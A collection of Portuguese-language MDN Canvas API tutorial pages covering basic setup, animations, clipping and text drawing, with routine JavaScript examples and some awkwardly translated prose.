{"title":"Canvas tutorial - APIs da Web","text":"Canvas tutorial\n===============\n\n ![](/pt-BR/docs/Web/API/Canvas_API/Tutorial/canvas_tut_examples.jpg)\n**`<canvas>`** é um elemento HTML que pode ser usado para desenhar usando linguagem de \"script\" (normalmente JavaScript). Isto pode ser usado, por exemplo, para desenhar gráficos, fazer composições de fotos ou simples (e não tão simples) animações. As imagens à direita mostram exemplos de implementações **`<canvas>`** que serão parte deste tutorial.\n\nEste tutorial descreve como utilizar o elemento `<canvas>` para desenhar gráficos 2D, iniciando com o básico. Os exemplos fornecidos devem lhe trazer algumas ideias claras sobre o que você pode fazer com o canvas e irá fornecer trechos de código que podem lhe ajudar na contrução do seu próprio conteúdo.\n\nIntroduzido pela primeira vez no WebKit pela Apple para o OS X Dashboard, o `<canvas>`, desde então, tem sido implementado em navegadores. Hoje, todos os principais navegadores suportam isso.\n\nAntes de começar\n----------------\n\nUsar o elemento `<canvas>`não é muito difícil, mas você precisa de um conhecimento básico sobre HTML e JavaScript. O elemento `<canvas>` não é suportado por alguns navegadores antigos, mas é suportado em versões recentes da maioria dos navegadores. O tamanho padrão de um canvas é de 300px \\* 150px (largura \\* altura). Porém, tamanhos customizados podem ser definidos usando as propriedades `width` e `height` do CSS. Para desenhar gráficos no canvas iremos usar um contexto de objeto JavaScript, o que criará gráficos em tempo real.\n\nNesse tutorial\n--------------\n\n* Utilização básica\n* Desenhando formas\n* Aplicando estilos e cores\n* Desenhando texto\n* Usando imagens (em inglês)\n* Transformações (en-US)\n* Composição e recorte\n* Animações básicas\n* Animações avançadas\n* Manipulação de pixel (en-US)\n* Regiões e acessibilidade\n* Otimizando o canvas (en-US)\n* Conclusão\nVeja também\n-----------\n\n* Canvas\n* Plug-in Canvas para Adobe Illustrator\n* HTML5CanvasTutorials\nNota dos contribuidores\n-----------------------\n\nDevido a um erro técnico lamentável que ocorreu na semana de 17 de junho de 2013, perdemos parte do histórico deste tutorial, incluindo atribuições a todos os contribuidores anteriores ao seu conteúdo. Pedimos desculpas por isso, e espero que você nos perdoe desse infeliz infortúnio.\n\n* Next »"}
{"title":"Advanced animations - APIs da Web","text":"Advanced animations\n===================\n\n* « Previous\n* Next » (en-US)\n\nNo último capítulo nós fizemos algumas animações básicas e fomos conhecer caminhos para conseguir com que as coisas se movessem. Nesta parte prestaremos mais atenção nos movimentos e vamos adicionar algumas físicas para fazer nossas animações mais avançadas.\n\nDesenhe uma bola\n----------------\n\nNós estamos indo usar uma bola para nossa animação estudada. Então vamos pintar aquela bola desenhada no canvas. O seguinte código configurará.\n\n\n```html\n<canvas id=\"canvas\" width=\"600\" height=\"300\"></canvas>\n```\n\n\nComo usual, nós precisamos de um contexto de desenho primeiro. Para desenhar a bola, nós criaremos um objeto bola ao qual contém propriedades e um método draw() para pintar no canvas.\n\n\n```js\nvar canvas = document.getElementById(\"canvas\");\nvar ctx = canvas.getContext(\"2d\");\n\nvar ball = {\n  x: 100,\n  y: 100,\n  radius: 25,\n  color: \"blue\",\n  draw: function () {\n    ctx.beginPath();\n    ctx.arc(this.x, this.y, this.radius, 0, Math.PI \\* 2, true);\n    ctx.closePath();\n    ctx.fillStyle = this.color;\n    ctx.fill();\n  },\n};\n\nball.draw();\n```\n\n\nNada de especial aqui, a bola é atualmente um simples círculos e desenha com ajuda de\n\n`arc()` method.\n\nAdicionando velocidade\n----------------------\n\nAgora que você tem a bola, Nós estamos prontos para adicionar uma animação como nós temos aprendido no último capítulo deste tutorial. Denovo, `window.requestAnimationFrame()` ajuda-nos a controlar a animação. a bola pega o movimento adicionando um vetor de velocidade para a posição. Para cada frame, N[ós também clearo canvas para remover velhor círculos da prioridade dos frames.\n\n\n```js\nvar canvas = document.getElementById(\"canvas\");\nvar ctx = canvas.getContext(\"2d\");\nvar raf;\n\nvar ball = {\n  x: 100,\n  y: 100,\n  vx: 5,\n  vy: 2,\n  radius: 25,\n  color: \"blue\",\n  draw: function () {\n    ctx.beginPath();\n    ctx.arc(this.x, this.y, this.radius, 0, Math.PI \\* 2, true);\n    ctx.closePath();\n    ctx.fillStyle = this.color;\n    ctx.fill();\n  },\n};\n\nfunction draw() {\n  ctx.clearRect(0, 0, canvas.width, canvas.height);\n  ball.draw();\n  ball.x += ball.vx;\n  ball.y += ball.vy;\n  raf = window.requestAnimationFrame(draw);\n}\n\ncanvas.addEventListener(\"mouseover\", function (e) {\n  raf = window.requestAnimationFrame(draw);\n});\n\ncanvas.addEventListener(\"mouseout\", function (e) {\n  window.cancelAnimationFrame(raf);\n});\n\nball.draw();\n```\n\nLimites\n-------\n\nSem um teste de limite de colisão nossa bola correria para fora do canvas rapidamente. Nós precisamos checar se a posição x e y da bola está fora das dimensões do canvas e invertida a direção do vetor de velocidade. Para fazer isto, Nós adicionamos a seguinte checagem para o método draw():\n\n\n```js\nif (ball.y + ball.vy > canvas.height || ball.y + ball.vy < 0) {\n  ball.vy = -ball.vy;\n}\nif (ball.x + ball.vx > canvas.width || ball.x + ball.vx < 0) {\n  ball.vx = -ball.vx;\n}\n```\n\n### Primeira demonstração\n\nDeixe-me ver como isto fica em ação até agora. Mova seu mouse dentro do canvas para iniciar a animação.\n```\n\n<canvas id=\"canvas\" style=\"border: 1px solid\" width=\"600\" height=\"300\"></canvas>\n```\n\n\n```\nvar canvas = document.getElementById(\"canvas\");\nvar ctx = canvas.getContext(\"2d\");\nvar raf;\n\nvar ball = {\n  x: 100,\n  y: 100,\n  vx: 5,\n  vy: 2,\n  radius: 25,\n  color: \"blue\",\n  draw: function () {\n    ctx.beginPath();\n    ctx.arc(this.x, this.y, this.radius, 0, Math.PI \\* 2, true);\n    ctx.closePath();\n    ctx.fillStyle = this.color;\n    ctx.fill();\n  },\n};\n\nfunction draw() {\n  ctx.clearRect(0, 0, canvas.width, canvas.height);\n  ball.draw();\n  ball.x += ball.vx;\n  ball.y += ball.vy;\n\n  if (ball.y + ball.vy > canvas.height || ball.y + ball.vy < 0) {\n    ball.vy = -ball.vy;\n  }\n  if (ball.x + ball.vx > canvas.width || ball.x + ball.vx < 0) {\n    ball.vx = -ball.vx;\n  }\n\n  raf = window.requestAnimationFrame(draw);\n}\n\ncanvas.addEventListener(\"mouseover\", function (e) {\n  raf = window.requestAnimationFrame(draw);\n});\n\ncanvas.addEventListener(\"mouseout\", function (e) {\n  window.cancelAnimationFrame(raf);\n});\n\nball.draw();\n```\n\nAceleração\n----------\n\nPara fazer o movimento tão real, você para jogar com a velocidade como isto, por exemplo:\n\n\n```js\nball.vy \\*= 0.99;\nball.vy += 0.25;\n```\n\n\nEsta diminuição da velocidade vertical para cada frame. Assim que a bola somente saltar no chão no final.\n```\n\n<canvas id=\"canvas\" style=\"border: 1px solid\" width=\"600\" height=\"300\"></canvas>\n```\n\n\n```\nvar canvas = document.getElementById(\"canvas\");\nvar ctx = canvas.getContext(\"2d\");\nvar raf;\n\nvar ball = {\n  x: 100,\n  y: 100,\n  vx: 5,\n  vy: 2,\n  radius: 25,\n  color: \"blue\",\n  draw: function () {\n    ctx.beginPath();\n    ctx.arc(this.x, this.y, this.radius, 0, Math.PI \\* 2, true);\n    ctx.closePath();\n    ctx.fillStyle = this.color;\n    ctx.fill();\n  },\n};\n\nfunction draw() {\n  ctx.clearRect(0, 0, canvas.width, canvas.height);\n  ball.draw();\n  ball.x += ball.vx;\n  ball.y += ball.vy;\n  ball.vy \\*= 0.99;\n  ball.vy += 0.25;\n\n  if (ball.y + ball.vy > canvas.height || ball.y + ball.vy < 0) {\n    ball.vy = -ball.vy;\n  }\n  if (ball.x + ball.vx > canvas.width || ball.x + ball.vx < 0) {\n    ball.vx = -ball.vx;\n  }\n\n  raf = window.requestAnimationFrame(draw);\n}\n\ncanvas.addEventListener(\"mouseover\", function (e) {\n  raf = window.requestAnimationFrame(draw);\n});\n\ncanvas.addEventListener(\"mouseout\", function (e) {\n  window.cancelAnimationFrame(raf);\n});\n\nball.draw();\n```\n\nEfeito de arrastar\n------------------\n\nAté agora nós temos feito uso do `clearRect` méthodo quando limpar as prioridades do frame.Se você substituir este método com um semi-transparente `fillRect`, você pode fácilmente criar um efeito de arrastar.\n\n\n```js\nctx.fillStyle = \"rgba(255, 255, 255, 0.3)\";\nctx.fillRect(0, 0, canvas.width, canvas.height);\n```\n\n\n```\n<canvas id=\"canvas\" style=\"border: 1px solid\" width=\"600\" height=\"300\"></canvas>\n```\n\n\n```\nvar canvas = document.getElementById(\"canvas\");\nvar ctx = canvas.getContext(\"2d\");\nvar raf;\n\nvar ball = {\n  x: 100,\n  y: 100,\n  vx: 5,\n  vy: 2,\n  radius: 25,\n  color: \"blue\",\n  draw: function () {\n    ctx.beginPath();\n    ctx.arc(this.x, this.y, this.radius, 0, Math.PI \\* 2, true);\n    ctx.closePath();\n    ctx.fillStyle = this.color;\n    ctx.fill();\n  },\n};\n\nfunction draw() {\n  ctx.fillStyle = \"rgba(255, 255, 255, 0.3)\";\n  ctx.fillRect(0, 0, canvas.width, canvas.height);\n  ball.draw();\n  ball.x += ball.vx;\n  ball.y += ball.vy;\n  ball.vy \\*= 0.99;\n  ball.vy += 0.25;\n\n  if (ball.y + ball.vy > canvas.height || ball.y + ball.vy < 0) {\n    ball.vy = -ball.vy;\n  }\n  if (ball.x + ball.vx > canvas.width || ball.x + ball.vx < 0) {\n    ball.vx = -ball.vx;\n  }\n\n  raf = window.requestAnimationFrame(draw);\n}\n\ncanvas.addEventListener(\"mouseover\", function (e) {\n  raf = window.requestAnimationFrame(draw);\n});\n\ncanvas.addEventListener(\"mouseout\", function (e) {\n  window.cancelAnimationFrame(raf);\n});\n\nball.draw();\n```\n\nAdicione um controle de mouse\n-----------------------------\n\nPara conseguir alguns controles sobre a bola, nós podemos fazer isto seguindo nosso mouse usando o evento mouseover (en-US), por exemplo. O clique por exemplo. O evento `clique que` libera a bola e deixa seu limite de novo.\n```\n\n<canvas id=\"canvas\" style=\"border: 1px solid\" width=\"600\" height=\"300\"></canvas>\n```\n\n\n\n```js\nvar canvas = document.getElementById(\"canvas\");\nvar ctx = canvas.getContext(\"2d\");\nvar raf;\nvar running = false;\n\nvar ball = {\n  x: 100,\n  y: 100,\n  vx: 5,\n  vy: 1,\n  radius: 25,\n  color: \"blue\",\n  draw: function () {\n    ctx.beginPath();\n    ctx.arc(this.x, this.y, this.radius, 0, Math.PI \\* 2, true);\n    ctx.closePath();\n    ctx.fillStyle = this.color;\n    ctx.fill();\n  },\n};\n\nfunction clear() {\n  ctx.fillStyle = \"rgba(255, 255, 255, 0.3)\";\n  ctx.fillRect(0, 0, canvas.width, canvas.height);\n}\n\nfunction draw() {\n  clear();\n  ball.draw();\n  ball.x += ball.vx;\n  ball.y += ball.vy;\n\n  if (ball.y + ball.vy > canvas.height || ball.y + ball.vy < 0) {\n    ball.vy = -ball.vy;\n  }\n  if (ball.x + ball.vx > canvas.width || ball.x + ball.vx < 0) {\n    ball.vx = -ball.vx;\n  }\n\n  raf = window.requestAnimationFrame(draw);\n}\n\ncanvas.addEventListener(\"mousemove\", function (e) {\n  if (!running) {\n    clear();\n    ball.x = e.clientX;\n    ball.y = e.clientY;\n    ball.draw();\n  }\n});\n\ncanvas.addEventListener(\"click\", function (e) {\n  if (!running) {\n    raf = window.requestAnimationFrame(draw);\n    running = true;\n  }\n});\n\ncanvas.addEventListener(\"mouseout\", function (e) {\n  window.cancelAnimationFrame(raf);\n  running = false;\n});\n\nball.draw();\n```\n\n\nMova a bola usando seu mouse e libere - o com um clique.\n\nSair\n----\n\nEste curto capítulo somente explica algumas técnicas para criar as mais avançadas animações. Há muito mais! Como adicionar um paddle, alguns bricks, e tornar este demo dentro de um jogo Breakout? Cheque a nossa área de Desenvolvimento de jogos para mais artigos de jogos.\n\nVeja também\n-----------\n\n* `window.requestAnimationFrame()`\n* Efficient animation for web games (en-US)\n* « Previous\n* Next » (en-US)"}
{"title":"Utilização básica do Canvas - APIs da Web","text":"Utilização básica do Canvas\n===========================\n\n * « Previous\n* Next »\n\nVamos começar este tutorial olhando para o elemento `<canvas>` HTML em si. No final desta página, você saberá como configurar um contexto de canvas 2D e desenhar um primeiro exemplo em seu navegador.O elemento `<canvas>`\n---------------------\n\nVamos começar esse tutorial olhando o elemento `<canvas>` em si.\n\n\n```html\n<canvas id=\"tutorial\" width=\"150\" height=\"150\"></canvas>\n```\n\n\nSe parece muito com o elemento `<img>`com a diferença de não possuir os atributos `src` e `alt`. O elemento `<canvas>` tem apenas dois atributos - **width** e **height**. Ambos são opcionais e podem ser aplicados utilizando as propriedades DOM (en-US) respectivas. Se não forem especificados, o canvas será iniciado com **300 *pixels*** de largura por **150 *pixels*** de altura. O elemento pode ser redimensionado por CSS, mas durante a renderização a imagem é escalonada para caber no tamanho do layout.\n\n**Nota:** Se as suas renderizações parecerem distorcidas, tente especificar os atributos `width` e `height` no `<canvas>` e não usando CSS.\n\nO atributo `id` não é específico do elemento `<canvas>` mas um dos atributos padrão do HTML que pode ser aplicado em (quase) todos os elementos HTML (como o *`class`* por exemplo). É sempre uma boa ideia inserir um `id` pois fica muito mais fácil de capturar o elemento no seu *script.*\n\nO elemento `<canvas>` pode ser estilizado como qualquer imagem (margem, borda, fundo, etc). Contudo, essas regras não afetarão o desenho no canvas. Nós veremos como isso é feito a seguir nesse tutorial. Quando nenhuma regra de estilo for aplicada, o canvas iniciará totalmente transparente.\n\n### Conteúdo alternativo\n\nUma vez que alguns navegadores mais antigos (em particular, versões do Internet Explorer anteriores a 9) não suportam o elemento `<canvas>`, você precisará prover um conteúdo alternativo para ser mostrado nesses navegadores.\n\nIsto é muito simples: basta inserir o conteúdo alternativo dentro do elemento `<canvas>`. Navegadores que não suportam o `<canvas>` irão renderizar o conteúdo alternativo. Já os navegadores que suportam `<canvas>` irão ignorar o conteúdo alternativo, renderizando o canvas normalmente.\n\nPor exemplo, podemos prover um texto descritivo do canvas ou uma imagem estática do conteúdo. Algo como isto:\n\n\n```html\n<canvas id=\"stockGraph\" width=\"150\" height=\"150\">\n  preço das ações: $3.15 +0.15\n</canvas>\n\n<canvas id=\"clock\" width=\"150\" height=\"150\">\n  <img src=\"images/clock.png\" width=\"150\" height=\"150\" alt=\"\" />\n</canvas>\n```\n\n### Tag `</canvas>` é necessária\n\nAo contrário do elemento `<img>`, o elemento `<canvas>` a tag de fechamento (`</canvas>`) é necessária.\n\n**Nota:** Embora as primeiras versões do navegador Safari da Apple não exijam a tag de fechamento, a especificação indica que ela é necessária para que haja maior compatibilidade, portanto não se esqueça de incluí-la. Essas versões do Safari (antes da versão 2.0) irão processar o conteúdo do alternativo, além da própria tela, a menos que você use o CSS para mascará-lo. Felizmente, os usuários dessas versões do Safari são raros hoje em dia.\n\nSe o conteúdo alternativo não for necessário, um simples `<canvas id=\"foo\" ...></canvas>` é totalmente compatível com todos os navegadores que suportam canvas.\n\nO contexto de renderização\n--------------------------\n\n`<canvas>` cria uma superfície de desenho de tamanho fixo que expõe um ou mais contextos de renderização, que são usados para criar e manipular o conteúdo mostrado. Vamos nos concentrar no contexto de renderização 2D. Outros contextos podem fornecer diferentes tipos de renderização; por exemplo, WebGL usa um contexto 3D (\"experimental-WebGL\") baseado em OpenGL ES.\n\nInicialmente o canvas é branco. Para mostrar alguma coisa, primeiro um *script* precisa acessar o contexto de renderização e desenhar sobre ele. O elemento `<canvas>` tem um método (en-US) chamado `getContext()`, usado para obter o contexto de renderização e suas funções de desenho. `getContext()` recebe o tipo de contexto como parâmetro. Para gráficos 2D, que serão abrangidos nesse tutorial, deverá ser especificado \"2d\".\n\n\n```js\nvar canvas = document.getElementById(\"tutorial\");\nvar ctx = canvas.getContext(\"2d\");\n```\n\n\nA primeira linha recupera o nó DOM do elemento `<canvas>` chamando o método `document.getElementById()`. Depois de ter o nó do elemento, podemos acessar o contexto de desenho usando o método `getContext()`.\n\nVerificação de suporte\n----------------------\n\nO conteúdo alternativo é mostrado nos navegadores que não suportam o elemento `<canvas>`, mas essa checagem pode ser feita através de um *script* simplesmente testando a presença do método `getContext()`:\n\n\n```js\nvar canvas = document.getElementById(\"tutorial\");\n\nif (canvas.getContext) {\n  var ctx = canvas.getContext(\"2d\");\n  // codigo de desenho aqui\n} else {\n  // codigo para quando o canvas nao for suportado aqui\n}\n```\n\nUm modelo de estrutura\n----------------------\n\nAqui, um modelo minimalista, que vamos usar como ponto de partida para os exemplos posteriores:\n\n**Nota:** não é uma boa prática incorporar um script dentro do HTML. Nós fazemos isso aqui para manter o exemplo conciso.\n\n\n```html\n<html>\n  <head>\n    <title>Canvas tutorial</title>\n    <script type=\"text/javascript\">\n function draw() {\n var canvas = document.getElementById(\"tutorial\");\n if (canvas.getContext) {\n var ctx = canvas.getContext(\"2d\");\n }\n }\n </script>\n    <style type=\"text/css\">\n canvas {\n border: 1px solid black;\n }\n </style>\n  </head>\n  <body onload=\"draw();\">\n    <canvas id=\"tutorial\" width=\"150\" height=\"150\"></canvas>\n  </body>\n</html>\n```\n\n\nO *script* inclui a função chamada draw(), que é executada uma vez ao término do carregamento da página; este exemplo usa o evento *onload* do documento. Essa função, ou uma parecida, poderia usar `window.setTimeout()` (en-US), `window.setInterval()` (en-US), ou qualquer outro manipulador de evento, contanto que a página tenha sido carregada primeiro.\n\nUm simples exemplo\n------------------\n\nPara começar, vamos dar uma olhada num exemplo simples que desenha a interseção de dois retângulos, dos quais um deles tem uma transparência. Exploraremos em mais detalhes o funcionamento nos exemplos posteriores.\n\n\n```html\n<html>\n  <head>\n    <script type=\"application/javascript\">\n function draw() {\n var canvas = document.getElementById(\"canvas\");\n if (canvas.getContext) {\n var ctx = canvas.getContext(\"2d\");\n\n ctx.fillStyle = \"rgb(200,0,0)\";\n ctx.fillRect(10, 10, 55, 50);\n\n ctx.fillStyle = \"rgba(0, 0, 200, 0.5)\";\n ctx.fillRect(30, 30, 55, 50);\n }\n }\n </script>\n  </head>\n  <body onload=\"draw();\">\n    <canvas id=\"canvas\" width=\"150\" height=\"150\"></canvas>\n  </body>\n</html>\n```\n\n\nEste exemplo parece assim:\n\n| Screenshot | Live sample |\n| --- | --- |\n|  |  |\n\n* « Previous\n* Next »"}
{"title":"Compositing and clipping - APIs da Web","text":"Compositing and clipping\n========================\n\n* « Previous (en-US)\n* Next »\n\nEm todo os nossos exemplos prévios (en-US), formas estavam sempre desenhadas uma em cima das outras. Este é mais do que adequado para a maioria das situações, mas é limita a ordem no qual a composição das formas são construídas.\n\nNós podemos, no entanto, mudar este comportamento por configurar a propriedade `globalCompositeOperation`. Além disto, a propriedade clipe permite-nos esconder indesejáveis partes da forma.\n\n`globalCompositeOperation`\n--------------------------\n\nNós podemos somente desenhar novas formas atrás das existentes formas mas nós podemos também usar isto para mascarar certas áreas, limpar seções do canvas(não limitado para retângulos como o `clearRect()` métodos faz) e mais.\n\n`globalCompositeOperation = type`\n\nEste conjunto de operações compostas para aplicar quando desenha novas formas, onde type é uma string identificando quais das 12 operações compostas usar.\n\nVeja os seguintes exemplos de composição para o código dos seguintes exemplos.\n\nCaminhos de recorte (Clipping path)\n-----------------------------------\n\n![](/pt-BR/docs/Web/API/Canvas_API/Tutorial/Compositing/canvas_clipping_path.png)Um caminho de recorte (Clipping path) é como uma forma normal canvas mas isto age como uma máscara para esconder indesejáveis partes de formas. Isto é visualizado na imagem na direita. A forma da estrela vermelha é nosso caminho de recorte. Tudo que cai do lado de fora deste caminho não sai desenhado no canvas.\n\nSe nós compararmos caminho de recorte para a propriedade `globalCompositeOperation` nós temos visto acima, nós veremos dois modelos de composição que alcança mais ou menos o mesmo efeito no source-in e source-atop. A mais importante diferença entre os dois é que o caminho de recorte nunca desenha algo na tela e o caminho de recorte nunca afeta por adicionar novas formas. Isto faz o caminho do recorte ideal para desenhar múltiplos na área restrita.\n\nNo capítulo sobre formas de desenho (drawing shapes) eu somente mencionei os métodos stroke() e fill(), mas há um método que nós podemos usar com caminhos chamado clip().\n\n`clip()`\n\nVolta o caminho atualmente sendo construído no caminho de recorte atual.\n\nVocê usou clip() em vez de closePath() para fechar um caminho e voltar para dentro de um caminho de recorte em vez de contornar (stroking) ou completar (filling) o caminho.\n\nPor padrão o elemento `<canvas>` tem um caminho de recorte que é exatamente o mesmo tamanho do canvas em si. Em outras palavras, nenhum recorte ocorreu.\n\n### Um exemplo do recorte\n\nNeste exemplo, Nós usaremos um recorte circular para restringir o desenho do conjunto de inícios randômicos para uma região particular\n\n\n```js\nfunction draw() {\n  var ctx = document.getElementById(\"canvas\").getContext(\"2d\");\n  ctx.fillRect(0, 0, 150, 150);\n  ctx.translate(75, 75);\n\n  // Create a circular clipping path\n  ctx.beginPath();\n  ctx.arc(0, 0, 60, 0, Math.PI \\* 2, true);\n  ctx.clip();\n\n  // draw background\n  var lingrad = ctx.createLinearGradient(0, -75, 0, 75);\n  lingrad.addColorStop(0, \"#232256\");\n  lingrad.addColorStop(1, \"#143778\");\n\n  ctx.fillStyle = lingrad;\n  ctx.fillRect(-75, -75, 150, 150);\n\n  // draw stars\n  for (var j = 1; j < 50; j++) {\n    ctx.save();\n    ctx.fillStyle = \"#fff\";\n    ctx.translate(\n      75 - Math.floor(Math.random() \\* 150),\n      75 - Math.floor(Math.random() \\* 150),\n    );\n    drawStar(ctx, Math.floor(Math.random() \\* 4) + 2);\n    ctx.restore();\n  }\n}\n\nfunction drawStar(ctx, r) {\n  ctx.save();\n  ctx.beginPath();\n  ctx.moveTo(r, 0);\n  for (var i = 0; i < 9; i++) {\n    ctx.rotate(Math.PI / 5);\n    if (i % 2 === 0) {\n      ctx.lineTo((r / 0.525731) \\* 0.200811, 0);\n    } else {\n      ctx.lineTo(r, 0);\n    }\n  }\n  ctx.closePath();\n  ctx.fill();\n  ctx.restore();\n}\n```\n\n\n```\ncanvas id=\"canvas\" width=\"150\" height=\"150\" /canvas\n```\n\n\n```\ndraw();\n```\n\n\nNas primeiras linhas de código, nós desenhamos um retângulo negro do tamanho do canvas como um pano de fundo, então traduzido da origem para o centro. Próximo, nós criamos o recorte circular do caminho recortado para desenhar um arco e chamá-lo clip(). Caminho de recortes são também parte do canvas com estado salvo. Se nós procuramos guardar o caminho do recorte original nós podemos ter salvo o estado do canvas antes de criar mais um.\n\nTudo que for desenhado depois de criado o caminho de recorte somente aparecerá dentro daquele caminho. Você pode ver isto claramente no gradiente linear que está desenhado adiante. Depois deste conjunto de de 50 randomicamente posicionadas e escaladas estrelas for desenhada. Usando a função customizada drawStar(). De novo as estrelas somente aparecerão dentro do caminho de recorte definido.\n\nUm exemplo de recorte:\n\n![](/pt-BR/docs/Web/API/Canvas_API/Tutorial/Compositing/canvas_clip.png)\n\n| Screenshot | Live sample |\n| --- | --- |\n|  |  |\n\n* « Previous (en-US)\n* Next »"}
{"title":"Drawing text - APIs da Web","text":"Drawing text\n============\n\n* « Previous\n* Next »\n\nApós entender como aplicar estilos e cores no capítulo anterior, nós veremos agora como desenhar texto dentro do contexto de uma canvas.\n\nDesenhando texto\n----------------\n\nO context de renderização da canvas fornece dois métodos para renderização textual:\n\n`fillText(text, x, y [, maxWidth])` (en-US)\n\nPreenche com um determinado texto as cordenadas (x,y) recebidas. Opcionalmente com uma largura máxima para o desenho.\n\n`strokeText(text, x, y [, maxWidth])` (en-US)\n\nTraçeja um determinado texto nas cordenadas (x,y) recebidas. Opcionalmente com uma largura máxima para o desenho.\n\n### Um exemplo com `fillText`\n\nO texto a seguir é rederizado utilizando `fillStyle`.\n\n\n```js\nfunction draw() {\n  var ctx = document.getElementById(\"canvas\").getContext(\"2d\");\n  ctx.font = \"48px serif\";\n  ctx.fillText(\"Hello world\", 10, 50);\n}\n```\n\n\n```\n<canvas id=\"canvas\" width=\"300\" height=\"100\"></canvas>\n```\n\n\n```\ndraw();\n```\n\n### Um exemplo com `strokeText`\n\nO texto é preenchido usando o strokeStyle atual.\n\n\n```js\nfunction draw() {\n  var ctx = document.getElementById(\"canvas\").getContext(\"2d\");\n  ctx.font = \"48px serif\";\n  ctx.strokeText(\"Hello world\", 10, 50);\n}\n```\n\n\n```\n<canvas id=\"canvas\" width=\"300\" height=\"100\"></canvas>\n```\n\n\n```\ndraw();\n```\n\nEstilo de Texto\n---------------\n\nNos exemplos anteriores, já usamos a propriedade font para tornar o texto um pouco maior que o tamanho padrão. Existem mais algumas propriedades que permitem ajustar a maneira como o texto é exibido no canvas:\n\n`font = value` (en-US)\n\nThe current text style being used when drawing text. This string uses the same syntax as the CSS `font` (en-US) property. The default font is 10px sans-serif.\n\n`textAlign = value` (en-US)\n\nText alignment setting. Possible values: `start`, `end`, `left`, `right` or `center`. The default value is `start`.\n\n`textBaseline = value` (en-US)\n\nBaseline alignment setting. Possible values: `top`, `hanging`, `middle`, `alphabetic`, `ideographic`, `bottom`. The default value is `alphabetic`.\n\n`direction = value` (en-US)\n\nDirectionality. Possible values: `ltr`, `rtl`, `inherit`. The default value is `inherit`.\n\nEssas propriedades podem ser similares para você, se você trabalhou com CSS antes.\n\nO diagrama seguinte do WHATWG demonstra as várias baselines suportadas pela propriedade do `textBaseline`\n![The top of the em square is\nroughly at the top of the glyphs in a font, the hanging baseline is\nwhere some glyphs like आ are anchored, the middle is half-way\nbetween the top of the em square and the bottom of the em square,\nthe alphabetic baseline is where characters like Á, ÿ,\nf, and Ω are anchored, the ideographic baseline is\nwhere glyphs like 私 and 達 are anchored, and the bottom\nof the em square is roughly at the bottom of the glyphs in a\nfont. The top and bottom of the bounding box can be far from these\nbaselines, due to glyphs extending far outside the em square.](http://www.whatwg.org/specs/web-apps/current-work/images/baselines.png)\n\n### O exemplo de uma textBaseline\n\nEdite o código abaixo e veja as atualizações em tempo real no canvas.\n\n\n```js\nctx.font = \"48px serif\";\nctx.textBaseline = \"hanging\";\nctx.strokeText(\"Hello world\", 0, 100);\n```\n\n\n```\n<canvas id=\"canvas\" width=\"400\" height=\"200\" class=\"playable-canvas\"></canvas>\n<div class=\"playable-buttons\">\n  <input id=\"edit\" type=\"button\" value=\"Edit\" />\n  <input id=\"reset\" type=\"button\" value=\"Reset\" />\n</div>\n<textarea id=\"code\" class=\"playable-code\">\nctx.font = \"48px serif\";\nctx.textBaseline = \"hanging\";\nctx.strokeText(\"Hello world\", 0, 100);</textarea\n>\n```\n\n\n```\nvar canvas = document.getElementById(\"canvas\");\nvar ctx = canvas.getContext(\"2d\");\nvar textarea = document.getElementById(\"code\");\nvar reset = document.getElementById(\"reset\");\nvar edit = document.getElementById(\"edit\");\nvar code = textarea.value;\n\nfunction drawCanvas() {\n  ctx.clearRect(0, 0, canvas.width, canvas.height);\n  eval(textarea.value);\n}\n\nreset.addEventListener(\"click\", function () {\n  textarea.value = code;\n  drawCanvas();\n});\n\nedit.addEventListener(\"click\", function () {\n  textarea.focus();\n});\n\ntextarea.addEventListener(\"input\", drawCanvas);\nwindow.addEventListener(\"load\", drawCanvas);\n```\n\nAdvanced text measurements\n--------------------------\n\nIn the case you need to obtain more details about the text, the following method allows you to measure it.\n\n`measureText()` (en-US)\n\nReturns a `TextMetrics` (en-US) object containing the width, in pixels, that the specified text will be when drawn in the current text style.\n\nThe following code snippet shows how you can measure a text and get its width.\n\n\n```js\nfunction draw() {\n  var ctx = document.getElementById(\"canvas\").getContext(\"2d\");\n  var text = ctx.measureText(\"foo\"); // TextMetrics object\n  text.width; // 16;\n}\n```\n\nNotas específicas - Gecko\n-------------------------\n\nNo Gecko (a engine de renderização do Firefox, Firefox OS e outras aplicações Mozilla), algumas APIs prefixadas foram implementadas em versões anteriores para escrever texto em um canvas. Essas APIs agora estão depreciadas e removidas, e não são mais garantidas para uso.\n\n* « Previous\n* Next »"}
{"title":"Conclusão - APIs da Web","text":"Conclusão\n=========\n\n* « Previous\n\nParabéns! Você terminou o Canvas tutorial! Este conhecimento ajudará você a fazer ótimos gráficos 2D na web.\n\nMais exemplos e tutoriais\n-------------------------\n\nHá uma variedade de demonstrações e mais explicações sobre canvas nesses sites:\n\nCodepen.io\n\nFront End Developer Playground & Code Editor no navegador.\n\nHTML5CanvasTutorials\n\nExemplos para a maioria das APIs canvas.\n\n31 days of Canvas tutorials\n\nUma ótima fundação para codificação visual em JavaScript .\n\nGame development\n\nO jogo é uma das atividades de computador mais populares. Novas tecnologias estão chegando constantemente para possibilitar o desenvolvimento de jogos melhores e mais poderosos que podem ser executados em qualquer navegador da Web compatível com os padrões.\n\nOutras Web APIs\n---------------\n\nEssas APIs podem ser úteis, quando trabalhando mais com canvas e gráficos:\n\nWebGL\n\nAPI para renderização interativa de gráficos 3D.\n\nSVG\n\nScalable Vector Graphics permitem que você descreva imagens como conjuntos de vetores (linhas) e formas, a fim de permitir que eles sejam redimensionados sem problemas, independentemente do tamanho em que são desenhados.\n\nWeb Audio\n\nA Web Audio API fornece um sistema poderoso e versátil para controlar o áudio na Web, permitindo que os desenvolvedores escolham fontes de áudio, adicionem efeitos ao áudio, criem visualizações de áudio, apliquem efeitos espaciais (como panning) e muito mais.\n\nQuestions\n---------\n\nStackoverflow\n\nPerguntas marcadas como \"canvas\".\n\nComentários sobre esse tutorial – A comunidade MDN de documentação\n\nSe você tiver algum comentário sobre este tutorial ou quiser nos agradecer, fique à vontade para entrar em contato conosco!\n\n* « Previous"}
